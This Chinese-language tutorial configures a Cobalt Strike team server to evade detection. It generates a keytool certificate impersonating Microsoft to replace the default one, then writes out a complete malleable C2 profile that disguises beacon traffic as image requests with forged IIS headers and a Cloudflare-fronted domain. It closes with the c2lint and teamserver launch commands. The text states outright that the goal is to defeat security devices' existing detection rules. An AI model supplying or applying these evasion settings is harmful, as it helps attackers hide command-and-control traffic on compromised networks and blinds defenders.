一、默认情况下的Cobalt Strike流量

首先,生成exe文件并上线

使用whireshark抓取数据包

查看一下默认配置下的Cobalt Strike,如下图所示

Cobalt Strike-修改默认证书、混淆流量-教程_microsoft


默认情况下会间隔一段时间,请求一次 http://192.168.32.131//7VFJ文件、http://192.168.32.131//j.ad文件

Cobalt Strike-修改默认证书、混淆流量-教程_Cobalt Strike_02


查看完整的http流,请求的http://192.168.32.131/7Vfj文件内容,请求http://192.168.32.131/j.ad文件内容

Cobalt Strike-修改默认证书、混淆流量-教程_ios_03


Cobalt Strike-修改默认证书、混淆流量-教程_java_04


Cobalt Strike-修改默认证书、混淆流量-教程_Cobalt Strike_05


Cobalt Strike-修改默认证书、混淆流量-教程_java_06

二、修改默认证书

Cobalt Strike默认证书中含有与cs相关的特征,安全设备均已设置检测规则,所以需要替换掉cs原有的证书,重新生成一个无特征的证书文件。

前提条件: 服务器上已安装java
使用jdk自带的keytools这个java证书管理工具来生成新的无特征证书。

步骤:
1、首先删除cobalt strike原有的证书:rm -rf cobaltstrike.store(或者xxxxxx.store 就是默认证书)
2、在Cobalt Strike当前目录生成一个无特征的证书,名字任意写
3、新建一个其它名字(与第2步骤中的名字相同),只需要在teamserver最后一行修改 -Djavax.net.ssl.keyStore=./new-name.store 即可

在Cobalt Strike当前目录生成一个无特征的证书,名字为new-name.store

#keytool -keystore 生成的store名 -storepass 密码 -keypass 密码 -genkey -keyalg RSA -alias 自定义别名 -dname "CN=Microsoft Windows, OU=MOPR, O=Microsoft Corporation, L=Redmond, ST=Washington, C=US"

keytool -keystore new-name.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias test.tk -dname "CN=Microsoft Windows, OU=MOPR, O=Microsoft Corporation, L=Redmond, ST=Washington, C=US"

#修改证书标准并应用
keytool -importkeystore -srckeystore new-name.store -destkeystore new-name.store -deststoretype pkcs12

Cobalt Strike-修改默认证书、混淆流量-教程_Cobalt Strike_07


至此证书修改完成,使用命令: ​​keytool -list -v -keystore new-name.store ​​ 可查看证书内容

Cobalt Strike-修改默认证书、混淆流量-教程_ios_08


修改teamserve加载新生成的证书new-name.store

Cobalt Strike-修改默认证书、混淆流量-教程_Cobalt Strike_09


之后启动teamserve,查看使用的证书正是生成的新证书new-name.store,修改默认证书成功

Cobalt Strike-修改默认证书、混淆流量-教程_microsoft_10

注意:
如果报错提示

[-] Trapped java.net.BindException during team server startup [main]: 地址已在使用 (Bind failed)
java.net.BindException: 地址已在使用 (Bind failed)

重启一下kali

三、混淆流量

接下来修改Beacon与cobalt strike通信时候的流量特征,创建一个c2.profile文件(名字任意),贴入以下从大佬那里偷过来的代码。

Cobalt Strike-修改默认证书、混淆流量-教程_Cobalt Strike_11


c2.profile文件内容:

https-certificate {
set keystore "new-name.store"; #证书名字
set password "123456"; #证书密码
}
#以上没有配置cloudflare的时候可以先不写

http-get {
set uri "/image/";
client {
header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*l;q=0.8";
header "Referer" "http://www.google.com";
header "Host" "apex1.tk"; #域名,还没有配置cloudflare的时候这一行注释掉
header "Pragma" "no-cache";
header "Cache-Control" "no-cache";
metadata {
netbios;
append ".jpg"; # 传输内容自动追加的后缀
uri-append;
}
}

server {
header "Content-Type" "img/jpg";
header "Server" "Microsoft-IIS/6.0";
header "X-Powered-By" "ASP.NET";
output {
base64; # 加密方式(base64、base64url、netbios、netbiosu)
print;
}
}
}

http-post {
set uri "/email/";
client {
header "Content-Type" "application/octet-stream";
header "Referer" "http://www.google.com";
header "Host" "apex1.tk"; #域名,还没有配置cloudflare的时候这一行注释掉
header "Pragma" "no-cache";
header "Cache-Control" "no-cache";
id {
netbiosu;
append ".png";
uri-append;
}
output {
base64;
print;
}
}
server {
header "Content-Type" "img/jpg";
header "Server" "Microsoft-IIS/6.0";
header "X-Powered-By" "ASP.NET";
output {
base64;
print;
}
}
}

完整的profile文件下载地址:https://github.com/xx0hcd/Malleable-C2-Profiles(没有解释)

保存之后赋予服务端的c2lint执行权限:chmod 777 c2lint

然后输入:./c2lint c2.profile

输出如下图所示即为 c2.profile 配置成功

Cobalt Strike-修改默认证书、混淆流量-教程_ios_12


Cobalt Strike-修改默认证书、混淆流量-教程_Cobalt Strike_13


之后启动teamserve,使用新证书并且进行流量混淆

./teamserver 192.168.32.131 6666 c2.profile

1、生成exe上线并且使用https监听

使用wireshark抓取数据包,所有的通信流量都已经加密

Cobalt Strike-修改默认证书、混淆流量-教程_microsoft_14


2、生成exe上线并且使用http监听

使用wireshark抓取数据包,流量特征已经混淆,不在是请求http://192.168.32.131/7Vfj文件、http://192.168.32.131/j.ad文件,而是请求我们在c2.profile中编写的URL、UA等信息

Cobalt Strike-修改默认证书、混淆流量-教程_java_15


Cobalt Strike-修改默认证书、混淆流量-教程_ios_16